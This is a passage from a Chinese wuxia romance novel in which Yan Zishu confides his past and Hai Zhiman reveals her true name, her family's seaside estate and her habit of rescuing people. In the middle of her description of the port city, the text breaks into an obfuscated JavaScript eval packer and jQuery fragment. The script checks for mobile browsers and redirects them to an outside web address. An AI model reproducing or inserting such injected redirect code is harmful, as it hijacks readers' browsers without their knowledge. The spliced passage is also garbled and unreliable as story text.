这是这么多年来,燕子恕第一次向另一个人主动坦陈身世,他的过去,他的故国,他的伤疤,他的坚持。
他不知道自己为什么会这么做,或许是单纯不想海之曼误会,或许是知好色而慕少艾的心动,又或许是被她从救上来的那一刻,这么多年来自我封闭、孤立无援的心魔被喊破,他终于张开了口。
这么多年来,他第一次有了向人倾诉的欲望。
燕子恕:“我曾设想过,如果乌兰当年顺利归附大周,甚至是并入大周的版图,我的族人会不会生活得好一点?每次交战,我都会将附近被克克抓去的奴隶全部放走,无论他们之前是克克人还是周人,亦或是两族混血。也有很多人来到了万胜关内定居。”
“我以为这是给了他们一条更好的生路,可如今……”
流沙散没能将他打败,多年来频繁而又压抑的战斗没能将他击垮,可如今这一场大火却,像是抽尽了他全身的所有力气。
这些天来,从丧心病狂的何长雍,到无辜被牵累的达安母子,海之曼在城中感受到的周人对这些外来人的态度,其实是抵触的。这种没有摆在明面上的抗拒,往往会像软刀子杀人一样,慢慢地磨去人对生活的期望。
但这不是燕子恕的问题。
“你没有错,你至少将这群人从随时有可能丧命的战区带了出来。至于更好的生活,你给不了他们,只能由他们自己去寻找。”旁观者清,海之曼对这件事反而看得更清楚。
她从小就爱打抱不平,整天不是救这个就是救那个,但却从来没有今生要拯救谁的使命感。
她打抱不平是因她心中的正义感,她四处救人是为了找到自己的另一半,她做这些不是为了别人过上更好的生活,而是为了自己过上自己想要人生。
燕子恕嘴角依旧紧绷,目光却柔和了下来:“那你呢?你是谁?又来自哪里?”
海之曼僵住,再也维持不住刚刚那世外高人的气场。
她偷瞄了眼燕子恕的表情,害怕他是来兴师问罪的,却只见那双墨绿色的眼睛里满是好奇和期待,像是海边的人鱼第一次见到被海浪送来的人类。
“我……我骗了你。我不叫齐海,我叫海之曼,家在无相山庄,我爹是无相山庄的庄主,我在家排行老二。”
说完,她又偷偷瞄了燕子恕一言,默默等待他听到自己的身份后,露出那个‘你就是海之曼啊!’的表情。
结果,等了半天,燕子恕没有任何反应……
“无相山庄?我记得好像是在大周的最东面,靠海的地方,是吗?”见她不说了,燕子恕只能接着自己问。
由燕子恕的反应就能看出,他真的是一个土生土长的西北土著。
他从来没有去过中原腹地,接触到的中原人都没有几个,一直奔波在西北这片黄沙漫天的战场上,也没那个闲工夫听中原武林的各种奇闻异事,自然也没听说过无相山庄二小姐的赫赫威名。
要是此时在这的是那个京城土著丁二旗,他一定能将海之曼这位神奇女侠从小到大的事迹编成一段贯口,还能说得比说书艺人更跌宕起伏。
海之曼惊讶地望着他,慢慢地,这种惊讶转换成了一种惊喜。
终于——!苍天有眼,给了她海之曼又一次重新做人的机会!
“是的是的,大周的最东面是全国最大的港口城市垂潞城,垂潞城再往东二十里,在东海之滨的石崖山上就是我们无相山庄了。”海之曼热情地介绍自己的家乡,“那里四季如春,气候湿润,近海的地方还有很多小岛,我爷和我弟经常去岛上闭关,我也跟着去过,非常好玩。”
看着她手舞足蹈,双眸明亮地滔滔不绝,燕子恕也不自觉跟着弯了眼睛,甚至对于她口中的港口城市也产生了向往和好奇:“那垂潞城呢?一定很富饶吧?”
“那当然啦!垂潞城真的是又大又热闹,城里酒楼林立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219474|197510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,集市摩肩接踵,港口几乎无时无刻不在装卸货物,每天还有很多来自番邦的商人,直接在城内贩卖各种各样稀奇古怪的玩意儿。说起来那群商人里也有像你这样绿色眼睛的,但是他们的眼睛颜色通常都更浅一点,头发颜色也不是黑的,哎,扯远了。”
说起垂潞城,海之曼那是再熟悉不过了,毕竟她是收服了城内各大街头帮派,只为学一些他爹眼里的旁门左道的女头领。
燕子恕笑容愈深,眼中光芒闪动,像是真的很想见一见她口中那个繁华而又充满活力的垂潞城。
但他不免又更好奇了几分:“那你是为何要从大周的最东边来到了最西边,还出了万胜关,去到了沙漠里?”
燕子恕其实早就察觉不对劲了,海之曼出现在沙漠里的时间实在是太过反常。只是这些天来,事情一桩接着一桩,他根本无暇探究,海之曼究竟为什么出现在那里。
如今,这个问题终于问了出来。
海之曼内心流泪,心想,果然,该来的还是会来的,这次,她一定要自己说清楚,绝不能让燕子恕信了那些武林谣言!
“嗯……这件事情,听起来可能有点奇怪,但是我的确是这么想的,但我没有别的奇怪的意思啊。就是……因为我爹当年把我娘从乱军之中救了下来,两个人感情很好,后来就成亲了。我……我很向往这样的感情,所以下山之后,就一直在救……救救救……人。”
海之曼用了很多个“救”,企图蒙混过关,她这些年来究竟救了多少人。
她在心里仰天长叹,啊!果然,她不是当年的那个小女孩了。
当年她刚下山的时候,这段激情饱满的宣言,她都是大声流畅朗诵的。后来随着她失败案例的不断增加,她逐渐变得理不直,气也不壮了。
到如今,她只能支支吾吾,遮遮掩掩地表达一下她的想法了。
而燕子恕,在听完了这一番独白后,人都傻了。